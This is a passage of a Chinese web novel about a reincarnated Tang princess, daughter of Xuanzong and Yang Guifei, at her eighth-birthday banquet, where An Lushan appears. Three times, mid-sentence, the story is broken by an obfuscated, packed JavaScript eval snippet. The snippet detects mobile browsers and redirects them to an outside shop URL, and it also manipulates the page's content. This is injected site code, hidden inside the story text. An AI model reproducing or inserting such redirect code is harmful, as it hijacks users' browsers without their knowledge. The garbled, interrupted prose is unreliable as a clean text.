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那一双剑眉紧紧地皱在一起,眉心拧成了一个“川”字,一双威严的龙目瞪得恍若铜铃一般,凶狠而又严厉。 李婉宁不知是被吓到了,还是真的明白自己错了该跪,亦或是两者都有。 总而言之,她双腿一软,“噗通”一声便跪了下来。 几乎是在同时,那双水汪汪的杏目便染上了一层泪意:“阿爹阿娘对不起,宁儿知道错了……” 李隆基见到女儿委屈得要哭的模样,心疼得要命,然而余怒未消,他仍旧气愤地看着女儿,冷声问道:“你错在哪了?” 于是那张秀丽的小脸蛋很快也流下了两行晶莹的泪水。 李婉宁的声音里带着哭腔,抽泣着道:“宁儿不该,自己偷溜出宫,让阿爹和阿娘担心……” 小小的身子微微颤抖着,那双往日里明亮的杏目此刻哭得通红,可怜地望着他,就像是一只受了伤的小白兔。 李隆基的心几乎是刀割一般得痛。 他又何曾见过女儿哭得这般伤心的模样呢? 末了,李隆基长叹了一口气,在女儿面前蹲了下来,伸出手轻轻揉了揉女儿发顶,声音也不禁放软了下来。 “宁儿既然知道错在哪里,那下次就不要再这样了好吗?” 李婉宁垂下小脑袋点了点,然后把头埋进了阿爹的脖颈间,不再言语。 见到自己从小疼到大的女儿这般模样,李隆基心疼地拍了拍女儿的小后背,轻声哄道:“哎哟……宁儿的脸都哭成小花猫咯。” “都这么晚了,咱们洗洗脸,回去睡觉好不好?” 李婉宁的小脑袋倚着李隆基的肩膀,伸出小小的手臂抱紧阿爹,小声抽泣道:“宁儿害怕,阿爹和阿娘送女儿回去好吗?” “好。”李隆基温声应着,伸出手臂托住女儿的小屁股,随后猛地站起身,就这么把女儿抱了起来。 众人连忙惊呼道:“陛下!” 就连李婉宁自己也被吓了一跳。 她爹今年都六十八了啊! 可是她也不好直说阿爹太老,支支吾吾了一下,最后红着脸道:“阿爹,宁,宁儿今年已经八岁了!” 李隆基拍了拍女儿的背,微微叹了口气:“阿爹当然知道你今年已经八岁了。” “趁着阿爹还能抱得动,赶紧多抱抱吧。”李隆基说着无奈地笑了,“不然再过两年,想抱也抱不动咯。” 李婉宁当即道:“才不会呢!” 她这般说着,不开心地撅起自己的小嘴巴,伸出小胳膊环住阿爹的脖子,伏在阿爹的肩头道:“阿爹永远是宁儿和阿娘的天!” 闻言,李隆基不禁大笑,杨玉环也笑着走上前,温柔地揉了揉女儿的头。 一家人在一起,就这样说着笑着,一起往新射殿去了。 7. 玄宗始才之 翌日早晨,明媚而又柔和的阳光映着薄纱的窗户,照进了新射殿的内殿。 李隆基和杨玉环皆已洗漱完毕,方才传膳不久,正依偎在贵妃椅上相互说着体己话。 李隆基一手揽着贵妃的腰肢,张开嘴,将新剥好的、果肉白嫩的荔枝,连同贵妃那青葱细嫩的手指一同含入口中。 这时,外边来报:“启禀陛下和娘娘,陈大将军求见。” 李隆基略微点头:“让他进来。” 不消片刻,陈玄礼便自外边的正殿走了进来。 他身着一席甲胄,唯有头盔摘了下来,一手揽着头盔搁在腰间,因着身形挺拔,姿态笔直,这一路自外面走过来,身上的铠甲铮铮作响。 若是昨夜安禄山见到的陈玄礼是这副装束,那么前者怕是无论如何也无法从容地说出那番话语,隐晦地自报家门了。 长安城内姓陈的侍卫自然大有人在,可是能在城内身穿铠甲的陈侍卫嘛...... 龙武大将军的名声,可是如雷贯耳。 此时李隆基见到陈玄礼前来,揽着贵妃腰肢的手缓缓放了下来,稍稍摆正了姿态,抬眼道:“查出来了?” 陈玄礼朝着陛下拱手:“回陛下,那人的身份已经查到了。” 他这般说着,略微抬眸看向陛下身侧的贵妃。 贵妃娘娘和已经故去的武惠妃都是陛下最为宠爱的女人,两人都生着花容月貌,倾国倾城,只是性格却是有着极大的不同。 武惠妃野心勃勃,三番五次插手内政,甚至于为了皇后之位,陷害了三位皇子,故陛下虽宠爱武惠妃,到底也未曾专宠; 而贵妃娘娘却是极懂分寸的,尽守宫妃本分,从不过问政事,因此陛下自从召娘娘进宫后,是真真正正地再没有瞧过其他嫔妃一眼。 往日里娘娘遇到陛下处理公事之时,都会主动退避,只是今日怎么...... 他这般想着,杨玉环已经开口了:“陈将军是不是查到宁儿的救命恩人了?” 婉转悦耳的声音中多了几分焦急。 陈玄礼看了陛下一眼,见后者并未阻拦,于是颔首道:“回娘娘,是的。” 闻言,杨玉环当即看向自己的丈夫。 她那双洁白细嫩的胳膊环住了李隆基的手臂,一双楚楚动人的眼眸里平添了几分乞求:“若是有关宁儿的救命恩人,可否让臣妾也留下旁听?” 若是有关其他的事,哪怕是关乎自己的娘家,她也决不会插手半分,唯独她的宁儿,那可是她唯一的女儿啊...... 而李隆基自然也是知晓贵妃爱女心切,他温柔地拍了拍贵妃那光滑白皙的手背,温声道:“自然,这是咱们的家事。” 随后他便扭过头看向陈玄礼:“你说吧。” 陈玄礼当即道:“是。” “此人名叫安禄山,今年正值弱冠,乃是东北胡人,出身营州柳城,如今官任幽州节度副使,兼任平卢兵马使。” “胡人?”杨玉环惊讶地捂住嘴。 然而李隆基却是略微一挑眉:“那个安禄山,今年才二十岁?” 安禄山,这个名字他有印象。 此人骁勇善战,大概从三四年前开始,幽州讨伐契丹和奚两个部落的捷报里就开始出现这个人的名字,至今未尝有过败绩,是个猛将。 那个安禄山的幽州节度副使,也是他钦抬的。 但是他没有想到的是,那个安禄山,居然今年才二十岁。 他还记得昨夜陈玄礼递来那个安禄山的原话,说的可是“一个戍边的小武将”。 真是够“小”的啊。 陈玄礼颔首应道:“此人虽年轻,但军功累建颇丰,幽州数封往来捷报中称其‘骁勇’。” “另,幽州节度使张守珪也十分看重此人。” 李隆基若有所思地点了点头。 张守珪戍边领兵已有二十余载,能被他看重的后辈,定然是个人才。 李隆基这般想着,却见到高力士走上前来,含笑看着他:“陛下,早膳到了。” “行。”李隆基说着冲陈玄礼摆了摆手,随后从贵妃椅上站起身,“此事朕已知晓,你先下去吧。” 陈玄礼又行一礼,转身欲走,李隆基忽然喊住他:“你再去偏殿一趟,看看宁儿在不在。” · 七八岁的孩子,本就还是觉多的年纪,又因着昨夜耽搁得实在太晚,因此今日直到天已大亮,李婉宁才堪堪从睡梦中醒来。 她迷迷糊糊地睁开眼睛,早有小宫女守在榻边,见她醒来,伺候她穿衣洗漱。 李婉宁任由小宫女们在她身上折腾来折腾去,给她穿上了专为今日生辰宴准备的鹅黄色襦裙,将她佩戴在胸前的那枚翠绿色玉石正好,又给她梳好发髻,最后给她的小脑袋戴上了一整套华贵的翡翠头面。 登时,李婉宁感觉自己的头上一沉,几乎沉得她脖子都快直不起来了, 她睡眼惺忪地摇了摇自己的小脑袋,撅起嘴巴道:“不要,太沉了。” 小宫女们微顿了顿,只好把她头上那些精致的首饰们又撤下了一大半。 这时,李婉宁才朦胧着问道:“巧织姐姐呢?” 从睁开眼到现在,她都没看到巧织姐姐。 只是话音落了,李婉宁这才稍微清醒了几分。 哦对,她想起来了,巧织姐姐被罚了板子。 巧织身为李婉宁身边侍奉的大宫女,昨日非但没有阻拦公主,反而还助纣为虐,带着公主一起偷溜出宫,致公主遇险。 昨夜李隆基愤怒之下本想将其杖毙,还是李婉宁抱着自家阿爹的胳膊求情,才由杖毙降为杖十。 果不其然,随着她这个问题出口,小宫女踌躇了一下,才道:“回殿下,巧织姐姐昨夜已经上过药了,只是还需休息两日才能下榻。” 李婉宁默默地点了点头,神情有些低落。 都是她不好,非要偷溜出去玩,才连累了巧织姐姐...... 小宫女见公主神色萎靡,一颗小脑袋耷拉着,秀气的小脸蛋上眉头紧皱,往日里清亮发光的杏目都有了些许的暗淡,不由得有些心疼。 “小殿下别伤心呀……” 这时,有个宫女自外面走了进来,手里还拿着一朵开得硕大饱满的藕荷色牡丹花,笑眯眯地来到李婉宁面前。 “小殿下看,这是整个皇宫开得最大最漂亮的牡丹,今日清早新开的。” 她说着将那朵牡丹簪进了李婉宁的头发里:“既然小殿下不喜头饰太过繁重,那咱们就戴上一朵花儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426329|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看看花儿和咱们的小殿下谁更美呢?” 一旁的小宫女们连忙笑着哄道:“那自然是咱们的小殿下更漂亮呀!” “这牡丹花儿见着了咱们小殿下,都黯然失色了呢!” 夸赞的话语一个劲儿地自小宫女们口中发出,然而李婉宁还是神色恹恹的。 末了,宫女又伸出手,轻轻揉了揉李婉宁的小脑袋瓜,温声安慰道:“小殿下不要不开心了呀,巧织姐姐说了,如果能看到小殿下开心,她就算是再挨十杖也愿意的。” “等待会用过了早膳,小殿下还要去花萼相辉楼过生辰呢,开心一点好不好?” 闻言,李婉宁低落的情绪这才有了些许的缓和,她点了点头,等到小宫女们给她重新正了正发髻和发簪,便“哒哒哒”地跑去用早膳了。 说是用早膳,其实桌上只放了一个大碗,碗里放的是各种水果的切块,又浇上了酸奶,就如同现代的酸奶水果捞。 小宫女拿起勺子递给已经坐到椅子上的李婉宁,就看着小公主这么安静地吃了起来。 别的大户人家里的孩子,有些顽皮的,这个年纪吃饭时还会吃得满嘴都是,更有甚者吃饭时鸡飞狗跳,整个屋子都不得安宁。 但是她们的小公主从来都是很乖很懂事的,也非常得爱干净,吃饭的时候安安静静、斯斯文文的,吃完了饭小嘴边一颗饭粒都不会有,根本都不需要擦嘴,非常惹人喜欢。 只是唯一的一点就是,小公主不仅饭量小,还挑食。 尤其是早膳,小公主早上基本都不会有什么胃口的,从小到大早膳最多吃两口,便不肯再吃了。 贵妃娘娘为此头疼了许久。 不过小公主喜欢吃水果,每日早膳后一定要吃一盘水果,后来御膳房用匈奴那边的法子做出了味道酸甜的奶,叫做“酸奶”,小公主倒是很喜欢喝。 自那以后,小公主早膳前必会先喝一碗酸奶,然后吃一盘水果。 至于早膳......小公主吃完了水果基本就饱了,早膳不管宫女们怎么哄怎么喂,都不肯再动了。 再后来,小公主自己琢磨出把“酸奶”和水果混在一起,这种水果拌酸奶,就成了小公主每日的早膳。 没过一会儿,李婉宁就吃完了水果捞,小宫女过来把碗和勺子收走以后,李婉宁举起自己的小手。 “我还要吃荔枝!” 宫女笑着端了一盘荔枝上来。 小公主几乎什么水果都喜欢吃,不过最喜欢的还是要当属荔枝。 贵妃娘娘便是喜食荔枝的,宫中从前其实不会特意备荔枝,还是在娘娘进宫以后,才会每年都从岭南运送荔枝过来。 想来小公主便是随了娘娘的口味。 此时见到宫女把荔枝端上来,李婉宁拿起一个红彤彤的荔枝,自己就动手剥了起来。 小公主吃荔枝自然也是斯斯文文的,从来不会把汁水溅到别处。 而且小公主从不需要宫人帮她给水果剥皮,若是宫人给她剥了,她反而还不吃。 李婉宁这边乖巧地自己剥自己吃着,宫女们也就这么伺候在边上,安静地欣赏着自家粉妆玉琢的小公主吃荔枝。 盘子里的荔枝吃过了一半,这时外边忽地来报:“小殿下,陈大将军求见。” 8. 花萼相辉楼 宫人话音未落,殿门外便出现了陈玄礼的身影。 李婉宁那张明媚的小脸上当即绽放出了一个大大的笑容,她从椅子上跳下来,迈着一双小短腿“哒哒哒”地朝陈玄礼跑了过去。 “陈将军!” 彼时陈玄礼正缓步走入偏殿——因着官居宿卫统领,他平日里向来行事如风,唯有来到公主的偏殿时才会略微放松几分。 随后便看到了小公主迎面向他跑来。 小巧玲珑而又打扮精致的小姑娘,仿佛一个瓷娃娃一般,跑起步来带着小孩子特有的声响,就这样扑到了他的面前,抱住了他的腿。 被这样一个软软糯糯的奶团子抱住,饶是他腿上的甲胄再如何冰冷坚硬,此刻也都融化在了暖意和温柔之中。 陈玄礼不由得伸出手,轻轻地揉了揉小公主的发顶,含笑道:“见过小殿下。” 李婉宁扬起精致的小脸看向陈玄礼,好看的眉眼弯成了浅浅的月牙:“陈将军来找我有什么事嘛?” “没什么事。”陈玄礼温声应道。 做将军的,其实大多数人的脸上都会比较凶悍。 而这种凶悍指的并非是长相,而是一种神情。 只是这种神情如果在人的脸上戴久了,那人平日里自然就会下意识地摆出这幅神情,久而久之,也就变成了一种“长相”。 这种凶悍的神情,陈玄礼戴在脸上也已经几十年了,可是每次在见到小公主的时候,那副凶悍的神情都会在顷刻间消散,转而变成了一种溢于言表的温柔。 “陛下担心小殿下再次遇险,故派臣来看望小殿下。” 闻言,李婉宁却是撅起自己的小嘴巴,不开心道:"嘁,阿爹才不是担心我遇险才派你来的呢。" 她这般说着,伸出两只粉嫩小手叉在腰间,颇有些义正言辞的模样。 “阿爹是担心我又偷跑出去,才派你来看我的。” 陈玄礼低头看着眼前的小公主,一双明亮的杏目微微瞪圆,秀丽的小眉毛向上一挑,头上的步摇随着小脑袋微微晃动着,可爱极了。 他不由得失笑道:“陛下也确实是担心小殿下呀。” “唔......”李婉宁皱起自己的小眉头,做出一副努力思索的模样。 陈将军说得好像也有道理。 “那好吧!”她很快重新绽放出了笑脸,迈开自己的小腿跑到桌边,从桌上的盘子里抓了一把荔枝,然后又跑了回来。 只见她笑眯眯地伸出那只白皙的小嫩手,将手中的荔枝递到陈玄礼的面前。 “天气热热的,陈将军辛苦啦,荔枝凉凉哒,给陈将军!” 闻言,陈玄礼当即瞪大眼睛,难以置信地看着李婉宁手里的荔枝。 这荔枝有多珍贵,他自是再清楚不过了。 便是在整个皇宫内,也唯有陛下、娘娘和小殿下可以享用,就连身居十王宅的太子都没有享用的资格,至于其他的宫妃,更是想都别想。 如今,小公主居然就这样把几个硕大饱满、新鲜圆润的荔枝递到了自己的面前...... 他这般想着,不由得抬眸,重新看向面前的小公主。 只见眼前粉妆玉琢的瓷娃娃脸上绽放着大大的笑意,那一双水汪汪的杏目明亮且真诚。 宫人皆道,长安公主,乃是全长安城最明媚的骄阳。 陈玄礼最终伸出手,收下了李婉宁手中的荔枝:“臣谢殿下。” 于是眼前的骄阳笑得更明媚了。 待到陈玄礼离开后,李婉宁又吃完了盘子里剩下的荔枝,然后迈着小步子,蹦蹦跳跳地往内殿去了。 今日是她的生辰呢! 虽然她的灵魂早就不是八岁了,可是她来到这个世界的这些年里,在阿爹和阿娘宠爱下长大,于她而言,过往的一切都已经是上辈子的事情了。 她只是生来就带有前世的记忆,现在的她,就是大唐的长安公主,是阿爹和阿娘最爱的宝贝女儿。 所以…… 她今日要去花萼相辉楼过八岁的生辰宴咯! 万邦来朝,万民同欢呢! 虽然不知道为什么,今年阿爹居然把她的生辰宴举办得那么盛大,可她还是好开心呀! 李婉宁这般想着,已经迈着小短腿来到了内殿。 彼时的内殿内,杨玉环正坐在妆奁前梳妆。 平日里她向来不喜欢涂脂抹粉,可是今日是女儿的生辰宴,她难得在脸上化了一个浓淡适宜的妆容,身着一袭鹅黄色的襦裙,头上的配饰在阳光下熠熠生辉。 李隆基坐在一旁的贵妃椅上,一边吃着玉盘里的水果,一边欣赏着宫女们给自己的贵妃上妆。 他那双威严的龙目里满眼都是惊艳。 在他的眼里,贵妃的素颜自然也是极美的,素颜清雅,化妆艳丽,各有各的美。 只是他往常见惯了贵妃的清雅,今日难得见到贵妃艳丽的模样,不禁眼前一亮。 待到最后要画眉时,李隆基不由得走上前来,含笑着执起笔:“让朕来给朕的爱妃画眉。” 于是杨玉环身侧的宫女连忙退到一旁,看着陛下轻轻挑起娘娘的下巴,执起那沾着螺子黛的毛笔,轻轻落到娘娘的眉上。 有柔和的阳光透过薄纱窗落了进来,为这暧昧的一幕平添了几分柔和的气息。 这对世间最尊贵的夫妻,恩爱如天边比翼鸟,深情若地上连理枝。 他们的琴瑟和鸣,令大唐无数子民趋之若鹜。 待到眉毛画完,李隆基缓缓放下笔,看着自己深爱的贵妃,满意地点了点头。 他张开口,刚要夸赞一番,忽地就听到了门口传来一个欢快的声音:“阿爹,阿娘!” 夫妻两人不约而同地扭过头看向声音的来处,随后便见到他们的宝贝女儿欢快地跑过来,径直扑进了阿娘的怀里:“阿娘今天好美!” 杨玉环宠溺地捏了捏女儿的鼻子:“就你嘴甜。” “宁儿哪里嘴甜了嘛,宁儿说的都是事实呀!”李婉宁说着又转过身,扑进了阿爹的怀里,撒娇道,“阿爹说是不是呀!” 李隆基伸出手揽住怀里的宝贝女儿,含笑道:“宁儿说的一点没错,爱妃今日当真美极了!” 然而他怀里的李婉宁却摇了摇头:“不对不对!” 她伸出白皙的小胳膊抱住阿爹的手臂,笑眯眯道:“阿娘每天都是美的!” 李隆基哈哈大笑,杨玉环娇嗔地瞪了自己的丈夫和女儿一眼。 末了,高力士适时走上前来,含笑道:“陛下,娘娘,还有小殿下,时辰到了。” 该去花萼相辉楼举行生辰宴了。 李隆基微微点头,牵着女儿的手从椅子上站了起来。 这时,李婉宁才看到,自家阿娘身上穿的居然也是鹅黄色的襦裙。 “哇,阿娘和宁儿穿的裙子颜色是一样的!”她伸出自己的小手,一手牵着阿爹,一手牵着阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426330|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,一双水汪汪的杏目闪闪发亮,“阿爹穿的也是黄色的衣袍!” “太好了,咱们一家三口穿的都是黄色的!” 高力士笑眯眯道:“陛下和娘娘心有灵犀,小殿下自然也是和陛下娘娘心意相通的。” 闻言,李隆基不禁朗声大笑:“高力士说的没错,咱们一家三口心意相通!” “好耶!”李婉宁高兴地在原地跳了起来,“宁儿今天肯定是天底下最幸福的小孩!” 李隆基伸出手指刮了刮女儿的鼻子,眉眼间满是宠溺:“怎么能叫今天才是呢?” “咱们的宁儿,一直都是天底下最幸福的孩子!” “没错!”李婉宁那张漂亮的小脸蛋上扬起了大大的笑容,“宁儿有天底下最好的阿爹和阿娘,宁儿是最幸福的!” 众人都笑了。 杨玉环也不由得含笑着拍了拍女儿的头顶,柔声道:“好了,咱们该走了。” “好!” 于是,天底下最幸福的小孩一手牵着阿爹,一手牵着阿娘,蹦蹦跳跳地出了新射殿,一家三口一起往花萼相辉楼去了。 ...... 五月十五,花萼相辉楼,公主生辰宴。 万民来贺,万邦来朝。 举行生辰宴的花萼相辉楼足足有三层,高高地耸立在兴庆宫的西南角,被誉为大唐的“天下第一楼”。 其中,一楼为万民同乐之所,二楼为宫内设宴之处,而三楼,则唯有天子与其最亲近的人踏足过。 今日公主生辰宴,正是设在这一楼。 花萼相辉楼为圆形楼,二三楼和楼顶皆为中空,即便站在楼内,亦可抬头仰望天际和星辰。 在一楼正对门口的位置,设有足足一人高的高台,而在高台之上,放着三把奢华气派的椅子。 最中间的椅子上雕刻着祥龙纹样,两侧的椅子上则分别雕刻着凤凰和牡丹。 这便是陛下和贵妃母女的主座。 而在主座两旁较近的地方,亦是设有许多较为宽敞的座位,座与座之间不远不近,恰到好处,是为客座。 彼时,参加公主生辰宴的大唐子民皆已排队进入了花萼相辉楼,持有誉帖的勋贵可在离主座较近的客座找到自己的姓名落座,而那些平民百姓,自然就只能站在离主座较远的地方。 可即便如此,依然没能浇灭那些百姓的热情。 此时此刻,他们挤在人山人海之中,眼中皆闪烁着狂热的目光。 八年前,身为牡丹仙子转世的长安公主降生,此后每年的五月十五,整个长安免七日宵禁,万民同欢。 时至今日,当年公主出生的那一夜,那满长安牡丹盛放的奇景,仍旧深深地刻在长安百姓的心中。 为此,无数人家甚至自诩牡丹仙子的信徒,为公主雕刻神像,在家中供奉。 然而公主自小养在深宫,极少露面,他们只能依靠着对牡丹仙子的幻想,来雕刻自己心目中长安公主的模样。 可是过了今日,一切都将不一样! 今日,他们的牡丹仙子,将会出现在全长安百姓的面前! 过了今日,所有信徒家中的神像,都将会拥有统一的模样! 眼看着人群里的呼声越来越热烈,甚至就连客座处亦有无数人眼中迸发着狂热的目光,终于,在千万人的期盼中,高台后面那扇雕刻着百花盛景的大门被推了开。 “陛下,贵妃娘娘,长安公主到——!” 9. 公主生辰宴 自那雕刻着百花盛景的门后,不过方才露出一片鹅黄色的裙裾,花萼相辉楼内便已响起了热烈的欢呼。 因着早在花萼相辉楼建立之初,陛下便下旨:“凡花萼相辉楼内万民盛宴,可见皇帝不拜。” 故而,此时百姓和勋贵们见到陛下和贵妃母女,并没有出现浩浩荡荡地跪拜。 可是他们的欢呼,远比那满楼的跪拜要更加热烈壮观。 此时此刻,在千万人的欢呼声中,天子和贵妃母女终于自后门现身,迈上了高台后的阶梯,缓步走上了那座高台。 安禄山身为今日要为公主献舞的勋贵,自然也在客座处有自己的位子,此时见到陛下和贵妃母女走了进来,不由得伸长了脖子望过去。 实际上不只是他,除了那些时常能进宫面圣的天子近臣,其余所有的勋贵几乎都在努力地伸长脖子,望眼欲穿。 传闻贵妃母女倾国倾城,二人容貌可令全长安黯然失色,不知究竟是怎样绝美的面容啊! 很快,随着陛下带着贵妃娘娘和长安公主走上了高台,在那高台之上的主座落座以后,惊呼声和吸气声此起彼伏。 实在是……太,太美了! 只见陛下和贵妃母女走上高台后,并未分开坐到各自的位子上,而是一起在最中间的那把龙椅上落座。 他们依稀可以见到长安公主那小小的身影依偎在陛下和娘娘中间,那张尚未张开的小脸蛋和贵妃娘娘竟有八分相似。 贵妃娘娘五官艳丽、国色天香,而小公主虽然五官尚未长开,却已然明媚动人、妍丽无比。 小公主的五官和娘娘几乎是一模一样的,唯有那张小嘴巴和那双明亮的眼眸不同。 那张小巧玲珑的嘴巴,并非像娘娘,却是随了陛下;而那双明亮灵动的杏目,则是从父母的眼眸中各取所长。 众人不由得惊叹,长安公主的相貌当真是继承了贵妃娘娘的魂,却又长出了不同于娘娘的美。 贵妃娘娘的长相明艳大气,宛若那盛放的牡丹花,而长安公主反倒生得温婉娴静,小小的一只,看着十分得讨人怜爱。 而公主如今也才八岁啊! 他们难以想象,待到公主日后长大,会是多么的美艳动人! 李隆基高坐在主座之上,眼看着台下的子民们纷纷向着他的妻女投来艳羡狂热的目光,心里自然是极为高兴和自得的。 他的贵妃和公主,是这世间最美的女人,这天底下最尊贵的女人,也是这大唐最璀璨的明珠。 这是他的妻女,这是他的大唐。 这是他的盛世。 这般想着,他不由得低头看向依偎在自己怀里的小女儿,含笑道:“宁儿准备好了吗,咱们就开始了?” 他的怀里的女儿抬起头,冲着自己的阿爹扬起了一个明媚的小脸:“宁儿准备好啦!” 灵动悦耳的声音响彻在安静的花萼相辉楼内,令无数信徒心驰神往。 他们的牡丹仙子啊! 不仅生得花容月貌,嗓音更是宛若仙子一般! 这美妙的声音落入了客座后排,安禄山的耳中,他目不转睛地盯着主座之上的李婉宁。 不知为何,那个小小的身影明明看不大清晰,却仿佛是有着某种魔力一般,勾引着他的魂魄,令他移不开眼睛。 而现在,听到了公主的声音,这种蛊惑的力量愈加得强烈。 一种莫名的欲望在他的心中升起。 如果,如果能凑近些看看...... 哪怕就看一眼,让他能够看清那个小巧玲珑的身影,让他能够看清楚小公主的相貌...... 这种想法在他的心间不断地蔓延开来,宛若汹涌的巨浪、滔天的洪水,几乎快要将他的理智淹没。 甚至于他都已经忘记了宴会是如何开始的,又是如何进行的。 直到一声从天而降的高声呼唤,唤回了他的神智。 “幽州节度副使,栗特族,安禄山,献胡旋舞!” 啊......该到他了。 · 彼时,李婉宁刚欣赏完波斯人的肚皮舞,那些身穿阿拉伯服饰的异域少女们看得她两眼放光。 甚至领舞的那个姑娘跳完了舞,还朝她抛了一个颇具风情的媚眼。 李婉宁看得眼睛都直了。 哇...... 她何德何能啊! 身侧的杨玉环正剥下一粒葡萄,见女儿看得入迷,含笑着将葡萄放入女儿的口中:“宁儿喜欢吗?” 李婉宁张开嘴咬住葡萄,用力点头,含糊不清道:“那些波斯姐姐长得好好康!” 闻言,李隆基也不禁低头看向女儿,低声笑道:“那是波斯少女们长得漂亮,还是你阿娘长得漂亮?” 李婉宁不假思索道:“那当然是阿娘!” 她的阿娘是天底下最美的女人,谁也比不了! 李隆基大笑,杨玉环温柔地捏了捏女儿的小脸蛋。 一家三口刚说笑完,这时,一声“幽州节度副使,栗特族,安禄山,献胡旋舞!”就这么映入了李婉宁的耳中。 她整个人一震。 李隆基的脸上闪过惊讶的表情,他凑近贵妃的耳朵,小声道:“这个安禄山居然准备了和你一样的舞!” 而杨玉环则笑而不语。 男子跳胡旋舞,和女子跳胡旋舞怎么能一样。 彼时李婉宁整个人都呆住了,完全没有注意到阿爹阿娘的窃窃私语。 安,安禄山?! 那个掀起安史之乱,摧毁了大唐盛世,间接导致她阿娘被勒死的安禄山?!!! 他他他,不是,他,他...... 天啊,她来到这个世界八年了,每天都吃好喝好,父母疼爱,都忘了安史之乱这茬!!! 她几乎是有些惊恐地看着场上。 啊啊啊,安禄山你不要过来啊啊啊啊! 她这个长安公主还没做够呢! 她想和阿爹阿娘一直幸福地生活在一起啊! 在她的前世,大唐盛世和安史之乱,唐玄宗和杨贵妃,所有的一切都只不过是撰写在史书上的过往。 可是这辈子,那些史书上所描绘的一切都真实地发生在她的身边。 这繁荣的大唐,巍峨的兴庆宫,壮丽气派的花萼相辉楼,还有疼爱她的阿爹和阿娘...... 她难以想象,她阿娘被勒死的时候,该有多痛苦啊! 她的阿娘那么疼她,她的阿娘是世界上最好的阿娘,她的阿娘怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426331|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以那么痛苦地死去! 李婉宁小小的身躯不断颤抖着,那双明亮的杏目里逐渐浮起了一层水雾。 李隆基正和贵妃窃窃私语着,忽地一转眼注意到了女儿的异样,连忙问道:“宁儿,宁儿?” 李婉宁有些茫然地抬起头,模糊的视线里,依稀可见阿爹关切的脸庞。 “哎哟,宁儿哭了?” 只见自家女儿那小小的脸庞上泛着泪意,小巧的嘴巴紧紧咬住下唇,一双水汪汪的杏目眼眶通红,看着令人心疼极了。 见状,杨玉环连忙把女儿拥入怀里,伸出手拍着她的后背,轻声安抚着:“宁儿不哭不哭,阿娘和阿爹都在呢,受了什么委屈你跟阿爹阿娘说,不哭不哭啊。” 李婉宁伸出自己的小胳膊,紧紧地抱住她的阿娘,将自己的脸蛋深埋进阿娘的怀里。 她不想要阿娘死…… 见到女儿这副模样,杨玉环被吓了一跳,她连忙问道:“宁儿,这是怎么了呀宁儿?” 李婉宁却只是伏在阿娘的怀里,沉默不语。 杨玉环不禁扭过头看向自己的丈夫,夫妻两人面面相觑。 这好端端的,怎么就哭了? 过了片刻,李婉宁从阿娘的怀里重新抬起头,抬手抹掉溢出眼眶的泪水:“宁儿没事。” 那如同百灵一般悦耳的声音中尚且带着几分鼻音,语气却是意外地平淡。 “宁儿……宁儿只是太感动了。” 即便李婉宁已经恢复了镇定,可是那双明亮的杏目依旧有些泛红。 “阿爹阿娘给宁儿准备了这么大的生辰宴,宁儿好感动。” 说这话时,她那双明亮的杏目中闪过转瞬即逝的坚定。 李婉宁知道,光哭是没有用的,这样只会白白让阿爹阿娘担心。 她得想办法做点什么。 即便现在她还小,做不了什么,等再过几年,等她长大一点,一定可以做些什么的。 她必须做些什么。 而李隆基和杨玉环听到了女儿的话语,自然不疑有他。 同时心头也不由得一暖。 他们的宁儿,从小到大都懂事得不像话。 李隆基不仅回想起了八年前,女儿刚降生的时候。 那么小的一个婴儿,尚在襁褓之中的时候,就那么有灵性。 他的女儿说不定真的是天上的仙子转世呢。 这般想着,李隆基不由得轻轻拍了拍女儿的发顶,微笑道:“宁儿既然喜欢,那这场生辰宴就值了。” 杨玉环举起玉杯,喂女儿喝了一口水。 “宁儿开心,阿爹和阿娘就高兴呀。” 李婉宁用力点头:“宁儿很开心!” 她真的很开心,她的阿爹和阿娘都那么好。 她一定要保护阿爹和阿娘! 这时,高力士小步上前,恭敬地问道:“陛下,幽州节度副使安禄山已经准备好了,要让他上场吗?” 李隆基轻声问向自己的女儿:“宁儿要看这个安禄山跳胡旋舞吗?” 李婉宁闭上眼睛,深深地吸了一口气,而后点了点头。 她目光坚定地看向不远处的场上。 她倒要看看,这个安禄山究竟是何方神圣。 10. 你叫安禄山? 李婉宁在心里已经做好了各种准备。 传闻安禄山重三百斤,腹大垂膝,走路的时候都得耸起肩膀,把身上的肉都提起来才能走。 呃呃呃,这样的体型跳舞真的能好看吗。 不过,三百斤虽然听起来很胖,但是应该也不至于肚子上的肥肉垂到膝盖吧? 也许是史书夸张了? ......算了,反正很快就能揭晓答案了。 李婉宁这般想着,目不转睛地盯着场上,直到一个身材高大,体型肥壮的男子步入她的视线。 